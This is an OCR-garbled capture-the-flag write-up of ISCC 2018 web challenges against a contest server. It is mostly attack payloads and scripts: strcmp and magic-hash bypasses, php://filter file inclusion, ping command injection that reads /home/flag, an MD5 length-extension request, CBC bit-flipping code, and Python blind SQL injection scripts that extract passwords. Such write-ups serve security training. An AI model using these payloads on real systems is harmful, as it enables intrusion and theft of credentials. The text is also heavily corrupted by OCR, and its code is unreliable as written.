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<html>
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key is * - v

¥ <form action method="post">
<input type="text" maxlength="4" name="v"> == $0
<input type="submit” value-"#&7%">
</form>

key is
</body>
</html>
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<{?php
highlight file( 2.php’ ):
............... 17 .

_} I
Sflag= {#hdshiiuidoiiieiiing

if (isset($_GET[ password 1)) {
if (stremp($_GET[ password ], S§flag) == 0)
die( Flag: ’.$flag)
else
print ' Invalid password :
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payload: get: /?password[]=1
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<{?php
highlight file( 2.php’):

§flag=" {wickikicokiokicl] -

if (isset($ GET[ password 1)) {
if (strcmp($_GET[ password ], $flag) == 0)
die(’' Flag: ’.S8flag):
else
print ~Invalid password :

}
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<{?php
include “flag. php”:

if ($ SERVER[”REQUEST METHOD”] != "POST”)
die("flag is here”):

if (lisset($_POST["flag”]) )
die($ 403):

foreach ($_GET as $k => $v){
S8k = §8v;
}

foreach ($_POST as $k = $v) {
38k = §v;
}

if ( $ POST["flag”] !== $flag )
die($ 403) :

echo "flag: 7. 8§flag . "\n":
die($_200) -

o

A 574 e T ($9):
get: ?_200=flag

post: flag=x
€ Hackbar v x flag: x ISCC{taolu2333333....}
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http://118.190. 152. 202:80
09/1index. php? 200=flag

Enable Post data
flag=x

[ |Enable Referer
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& c ‘ @® 118.190.152.202:8008/index.php?f=articles@id=4

2 WA G google

D1
D:2
ID: 3
D:4
contents:4
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< C' | ® 118.190.152.202:8008/index.php?f=index.php&id=4
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LnBocD9mPWFydGl jbGVz Jm1kPTEnPk1EOQiAxPCYocmVmPgogICAgPC91ic j4KICAgIDxhIGhyZWY9J21uZGV4Ln
BocD9mPWFydG1 jbGVzJmlkPTInPk1EQOiAvPC90cmVmPgogICAgPC9ic j4KICAgIDxhIGhyZWY9J21uZGV4LnBo
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{?php
21SCC {LFI00000000000000}  mmm——
if(isset($ GET' £ 1)) {
if (strpos($_GETL £ ], "php”) !== False){
die("error...”):
1

elsei
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GET / HTTP/1.1
Host: 118.190.152.202:8004

User-Agent: Mozilla/5.0 (Windows NT 6.1; 'Wing4; x64; n:59.0)
Gecko,/20100101 Firefox/59.0

Accept:
texct/htmlapplication/«<htrml+xml,application/=ml;q=0.9,%/*q=0.8
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Cookie: verify=78cfc57d983b4al7e55828c001a3e7E1; len=46
client-ip: 127.0.0.1

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

i ping® 1 ip & R A& Pingid g 2
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HTTP/1.1 200 OK
Date: Wed, 09 May 2018 04:37:46 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntud.24
Content-Length: 34

Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

Content-Type: text/htmlcharset=utf-8

Great! ISCC{iscc_059eebBc0c33eb 62}
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< C ‘ ® 118.190.152.202:8018/?ip=127.0.0.1%0a%2015%20/

=0 WA & google

IBpingFKAJIP E{REpingiEIS

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bvtes from 127.0.0.1: icmp seg=1 tt1=64 time=0. 035 ms

— 127.0.0.1 ping statistics ——
1 packets transmitted, 1 received, 0% packet loss, time Oms
rtt min/avg/max/mdev = 0. 035/0.035/0. 035/0. 000 ms
bin

boot

dev

etc

home

lib

1ih64

media

mnt

mv_init

myv_service

opt

proc

root

run

sbin
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tmp

usr
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G fE lhome H % & ¥iflag payload: /?ip=127.0.0.1%0a cat /home/flags #iflag
= C ‘ ® 118.190.152.202:8018/?ip=127.0.0.1%0a%20cat%20/home/flag

= WA & google

Bping&MIIP B{R&pingiEE

PING 127.0.0.1 (127.0.0.1) 56(84) bvtes of data
64 bvtes from 127.0.0.1: icmp_seq=1 tt1=64 time=0. 036 ms

——— 127.0.0.1 ping statistics —=

1 packets transmitted, 1 received, 0% packet loss, time Oms
rtt min/avg/max/mdev = 0. 036/0.036/0. 036/0. 000 ms

ISCC {8a8646¢c7a2fcelbhl66fhc6ScabsfIed}



Please give me username and password!
findex.php.txt T MHEIFACAS, R Hphpdh R Bk 47 4585 ;

?username[]=0&password=1e9

&= C' | ® 118.190.152.202:8017/?username[]=0&password=1e9

I WA & google
very good!Username is right
very good!Password is right

flag{ISCC2018_Very_GOOD!}

SQLIEAZAR

= C' | ® 118.190.152.202:8015/index.php?id=1

: WA G google

B P admin

24k 10000

R 48 admin@qg.com
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import re
import requests

cname =
flag = "'

url = "http://118.190.152.202:8015/index.php?id=1%df"’
payload = "' and ascii(substr(({p}),{m},1))={n}%23"

list = [64,94,96,124,176,40,41,48,49,50,51,52,53,54,55,56,57,173,175,95,65,66,67,68,69,70,71,72,73,74,75,76
for 1 in range(1,46):
for ss in list:
p = payload.format(p="'select group_concat(column_name) from information_schema.columns where table_ name =
u = requests.get(url+p)
if "head.jpg" in u.content:
cname += chr(ss)
print cname
break

for i in range(1,23):
for 1 in list:
pp = payload.format(p='select flag from admins',m=i,n=1)
u = requests.get(url+pp)
if "head.jpg" in u.content:
flag += chr(l)
print flag
break

B SE5: C\Windows\system32\cmd.exe { =y ‘&‘

id,userName,userPud,email , sex,role, money,flag

YOu_@a3

YOu_RE33

YOu_B@33u

YOuU_RBE33uW_
YOu_@E33w_d
YOu_@E33uW_dx
YOu_@BE33W_dxx
YOu_@BE33W_dxxm
YOu_RE33W_dxxmn
YOu_RE33wW_dxxmn_
YOu_RE33W_dxxmn_9
YOu_RR33W_dxxmn_9r
YOu_RR33W_dxxmn_9rf
YOu_@R33W_dxxmn_9rfo
YOu_@@33w_dxxmn_9rfo0
YOu_@B@33w_dxxmn_9rfo0d

C:\Users\Administrator\Desktop>_




RikE
Ishow.php?img=1.jpg &l & Fthhl SCHE & IR .
BT AE jpg 47~ File not found! resourcen] LA & AN SO filf LA

payload: php://filter/convert.base64-encode/resource=../flag.php|1.jpg &%& 1515 Fflag.

(& | @® view-source:118.190.152.202:8006/show.php?img=php://filter/convert.base64-encode/resource=../flag.php|1l.jpg
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1| <!-— flag{lntere5ting PHP Regular expresslonssssss; —>
2

Collide

<{?php
include “secret.php”:
@$username=(string)$ POST[ username’ ]:
function enc($text) {

global Skev;

return md5(Skey. $text) :

}
if (enc (Susername) === §_COOKIE[ verify 1) ({
if (is numeric (strpos ($username, “admin”))){
die($flag) :
} -
elseq
die("vou are not admin”):
}
} r
elseq
setcookie ("verify”, enc("guest”), time () +60%60%24%T)
setcookie (“len”, strlen(Skev), time ()+60%60%24%7) -
}

show_source(_ FILE ):

Hs IS, T keyHIMELANFIIE (H2 AT HREkeyH) K JZ 046, F|HhashZy Xt
#atil J5 ffjusername:  guest%80%00%00%00%00%98%01%00%00%00%00%00%00admin



Fihashdump:k Himd5& 5f585093a7fe86971766c3d25¢c43d0eb

J Raw T Params I Headers I Hex } J Raw [ Headers I Hex ]

POST findex.php HTTP/1.1 A HTTP/1.1 200 OK

Host: 1187 52.202:8002 " Date:'Wed, 09 May 2018 05:10:56 GMT
User-Agent: Mozl Windows NT 6.1: 'Wingd: x64; n:59.0) Server: Apache/24.7 (Ubuntu)

Gecko/20100101 Firefowx,/5% X-Powered-By: PHP/5.5.9- lubuntud.24
Accept: ) Content-Length: 21
text/html,application/s«html+xml, application/«ml;q=0.9,%#:q=0.8 Keep-Alive: timeout=5, max=100
Accept-Language: Connection: Keep-Alive
zh-CN,zh;q=0.8,zh-TW:q=0.7 zh-HK;q=0.5,en-US; 3,en;g=0.2 Content-Type: text/html
Accept-Encoding: gzip, deflate
Cookie: verify=5f585093a7fe86971766c3d25c43d0eb; len=46 ISCC{MD5_1s nOt_Safe}

Content-Type: application,/s-www-form-urlencoded
Connection: keep-alive \
Upgrade-Insecure-Requests: 1

Content-Length: 58

username =guest%80%00%00%00%00%:98%01%00%00%00%00%00

%e00admin \

Only admin can see flag
coc 7 1 AL Bty
findex.txt% RYEANY 18 7 — T K I cbe 19l Lot M A

import urllib

import base64

#a:2:{s:8:"userna

#me";s:5:"admiN";

#s:8:"password";s

#:6:"123456";}
cipher=base64.b64decode(urllib.unquote("uA900LR7DpulKx7K5GyvwtBhhc4Q90VGMoXMYfIxo41w8qgImlbjELEU%2FeOWSGR31
iv=base64.b64decode(urllib.unquote("9qcxkpyvwymnvOp49F2Uvg%3D%3D"))
newcipher=cipher[0:13]+chr(ord(cipher[13])”ord('N')~ord('n"))+cipher[14:]

print urllib.quote(base64.b64encode(newcipher))

jiamingwen=base64.b64decode(urllib.unquote( ' twZ92UO5Kx1ne5hEeGTCumllIjtz0ju6ImFkbWluIjtz0jg6InBhc3N3b3IkIjt
mingwen = 'a:2:{s:8:"userna’
newiv = "'
for i in range(9,16):

newiv += chr(ord(mingwen[i])”ord(jiamingwen[i])”ord(iv[i]))
print urllib.quote(base64.b64encode(newiv))

st FladmiN 123456 % 5%



hello admiN

Only admin can see flag

Log out

FEHBREAL AR [0l 22 CRE R, 75 W cipher Aliv4s fil#T) 3 F burpl L.

> T RRETTY ~ _
i Burp Suite Professional v1.6 - licensed to LarrylLau - O X

<« X @ @ 11819 Burp Intruder Repeater Window Help
o gxnE Bdleres B #EMt G goo [Tavgel Proxy | Spider TScarmev T Intruder TRepeater TSequencer TDecoder TCompaver TExlender TOpuons Alerts
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hello admiN

L"J Request to http-//118 1801562 202:8001

J | Drop | | interceptis on Action

Only admin can see flag

Forward

L

Log out

Raw | Params | Headers | Hex

GET / HTTP/1.1

Host: 118.190.152.202:8001

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0

Accept: text/html,application/xhtml+xml application/xml;q=0.9,*/*q=0.8

Accept-Language: zh-CN zh;q=0.8zh-TW;q=0.7 zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Cookie: verify=78cfc57d983b4a17e55828c001a3e781; len=46; PHPSESSID=elagrgf5b826c5dk62iiv2lj57; iv=2Q70PQRFBw6szEDAYCPRIA%3D%3D;
cipher=zv8HU1mgbDvgDAUtFMmJnBNIq9KgeW?2B2xBElalgWQTZUABORjw1eE%2B0tLECORPLI2%2 FtGDq4Ac%2F3Ramf66hIrqg%3D%3D

Connection: keep-alive
Upgrade-Insecure-Requests: 1

Keiv A1 cipherl NI 15238 (1) cipher 12 2cookie ') cipher 13 23l (5 2 H ) cipher.

10
baseb4

bher-base64.b64decode (urllib.unquote("zv8HUlmgbDvgDAUtFMmInBN1q9KgeW%2B2xBE1alqWQTZuABOR jwleE%2BOtLECORPLr2

base64.b64decode(urllib.unquote("ZQ70PQRFBw6szEDAYCPROA%3D%3D" ))

cipher=cipher[@:13]+chr(ord(cipher[13])"ord('N')"ord('n"))+cipher[14:]
urllib.quote(base64.b64encode(newcipher))




GET / HTTP/1.1

Host: 118.190.152.202:8001

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*,q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7 zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Cookie: verify=78cfc57d983b4a17e55828c001a3e781; len=46; PHPSESSID=e1agrgf5b826¢ 5dk62iiv2lj57; iv=7Q70PQRFBw6szEDAYCPRIA%3D%3D;
cipher=2v8HU1mgbDvg DAUtFOmMInBNIq9KgeW?%2 B2xBElalqWQTZuABORjw/1eE%2BOtLECORPLI2/tG Dg4Ac/3Ramf66hIrqg%3D%30)

Connection: keep-alive

Upgrade-Insecure-Requests: 1

LS

<« c o (@ 118.190.152.202:8001
L ZxaE B odiestks [ 8EmLE G google ) ik = TET @ YouTube & somds Y &iE 4 SE—T
base64 decode('3ZPKvXIuYf6SsXPzZPClsm1lljtzOjUBImFkbWluljtzOjg6IinBhc3N3b3JkljtzOjY6ljEyMzQ1NIl7fQ==") can't unserialize

SR EE B i cipher B A 21T R IV B 2ivA#iiv Heiphery 23—k A iz 1713 2 K cipher. 15
#lflag;

Hello admin

Flag is ISCC{123dasd89as10aas}

Log out
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FTXRFEM httpi/leduxss.tv iEN, FERBHRATIPHUATTLHANE X, o
ZIPA: 110.110.110.110

FRAE TR FI ] xff ipHuht O & Freferer B mT e AN ZE — 5%,

GET / HTTP/1.1

Host: 118.190.152.202:8016

Jser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8zh-TW;q=0.7, zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

K-Forwarded-For: 110.110.110.110

Referer: http://edu.xss.tv

Connection: keep-alive

Jpgrade-Insecure-Requests: 1

EAOERERNE?
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{!DOCTYPE html>
<html>
<head>
(meta http—equiv="Content-Type” content="text/html; charset=utf8” />
titled i —MewebZe Ax— B H AT 8 R %</ title>
{meta name="viewport” content="width=device-width, initial-scale=1.0">
{1ink rel="stylesheet” href="./style/css/bootstrap. min. css”>
{link rel="stylesheet” href="/. style/css/bootstrap—theme. min. css”>
(link rel="stylesheet” href="./stvle/css/ecss.css”>
{script src="./style/js/jquery-1.9. 1. min. js”"></script>
{script src="./style/js/bootstrap.min. js"></seript>
{script type="text/javascript” src="./password. js”
¢/head>
{div class="navhar navbar-fixed-top navhar—inverse”>
{div class="container”>
{div class="navhar-header”>
{button type="hutton” class="navbar—toggle” data—toggle="collapse” data—target=".navhar—colls
{span class="icon-bar”></span>
{span class="icon-har”></span>
{span class="icon-bar”></span>
</button>
</div>
{div class="collapse navbar—collapse”>

script>

FAVIE NN
ADwAcwBjAHIAaQBwWAHQAPgBhAGWAZQBYAHQAKAA1IAHAAYQBzAHMAdwWBVAHIAZAA6AHEAaQBUAHKAaQBGAGKALEBjJAGBAbQALIACKAPAAVAHMA
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C | © 22 | 118.190.152.202:8005

FAFE: N, i=3r
<html >
<hbody»

{form action="md5. php” method="post” >
AP & :<input  tvpe="text” name="username” />
FY <input  type="password” name ="password”/>
{input type="submit’ >

<fbody>

</html>

{Iphp

header ("Content-type: text/himl; charset=utf-37);

1f(izset($_POST[ username’ 1)&isset ($_POST[ password 1001

fusername = 3 _POST[ username’ ];
$password = $_POST[ password 1;
}
elsed
$username="hello™:
$password="hello”:
i
1f (md5 (Jpassword) == 0} 1
echo “xxzxx”;
}

show_source (__FILE__ ).
T

P 2R E R, %A phpsi it 7480d :\QNKCDZO (] DL F8.2 1 5 ik [ php ATiH SR 45D

s 3

click here!

NULL

include 'flag.php’;

$a = @$ REQUEST['a’;
@eval("var dump($$a);");

A &R AZ BT ) i Sflag2e BRI Al .


https://www.chabug.org/ctf/222/

L, —

S > C |® 118.190.152.202:8005/no_md5.php?a=GLOBALS

% i
array(8) { ["_GET"]=> array(1) { ["a"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(3) { ["verify"]=> string(32) "78cfc57d983b4a17e55828c001a3e781" ['len"]=> string(2) "46"
["PHPSESSID"]=> string(26) "¢ch50q33avgmbqi7qul5idetac0” } [*_FILES"]=> array(0) {} ["_REQUEST"]=> array(1) { ['a"]=> string(7) "GLOBALS" } ["flag"]=> string(37)
"ISCC{a39f9a1ff7ebdbab8aba21b2ce111b4}" ["a"]=> string(7) "GLOBALS" ["GLOBALS"]=> *RECURSION* }

include 'flag.php";

Sa = @$ REQUEST['a"];

@eval("var dump($$a);");

Sqli

AU VAR L REAN T RIS EIE T2%5 T RS gk,

Login
username

Password



id R HE
1 titlea i good day

FERER —NTE, (FMIBGTN), X EERERS EREAMATLL T .

& C | © 118.190.152.202:8011/?id=1%20union%20select%201,2,3,4,5 group_concat(kjafuibafuchnuvwnruniguankacbh)%20from%20news
id 1
lagfEm—1NFER
id o HE
1 title1 hi good da

ASE b 35 B 8 A A

=

B

2017

=



import requests

tname =
pwd = "'

url = 'http://118.190.152.202:8011/index.php"

payload = "admin' and ascii(substr(({s}),{m},1))={n}#"

fuzz = ('0123456789,abcdefghijklmnopgrstuvwxyz")

# for i in range(1,10):

# for k in fuzz:

# p = payload.format(s='select group_concat(table_name) from information_schema.tables where
table_schema = database()',m=1i,n=ord(k))

# u = requests.post(url,data = {'username':p, 'password’:'admin'})

# if 'normal’ in u.content:

# tname += k

# print tname

# break

for i in range(1,33):
for k in fuzz:
p = payload.format(s="select group_concat(pass) from user",m=i,n=ord(k))
u = requests.post(url,data = {'username’:p, 'password’':'admin’'})
if 'normal’ in u.content:

pwd += k
print pwd
break
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import requests

url = "http://118.190.152.202:8019/1login.php"
payload = "1'-(ascii(mid((passwd)from({0})))={1})-""

password =
fuzz = 'abcdefghijklmnopqrstuvwxyz0123456789"

for i in range(1,33):
for k in fuzz:
p = payload.format(i,ord(k))
u = requests.post(url,data = {'uname':p, '‘passwd':"'admin'})
if not ‘'username' in u.content:

password += k
print password
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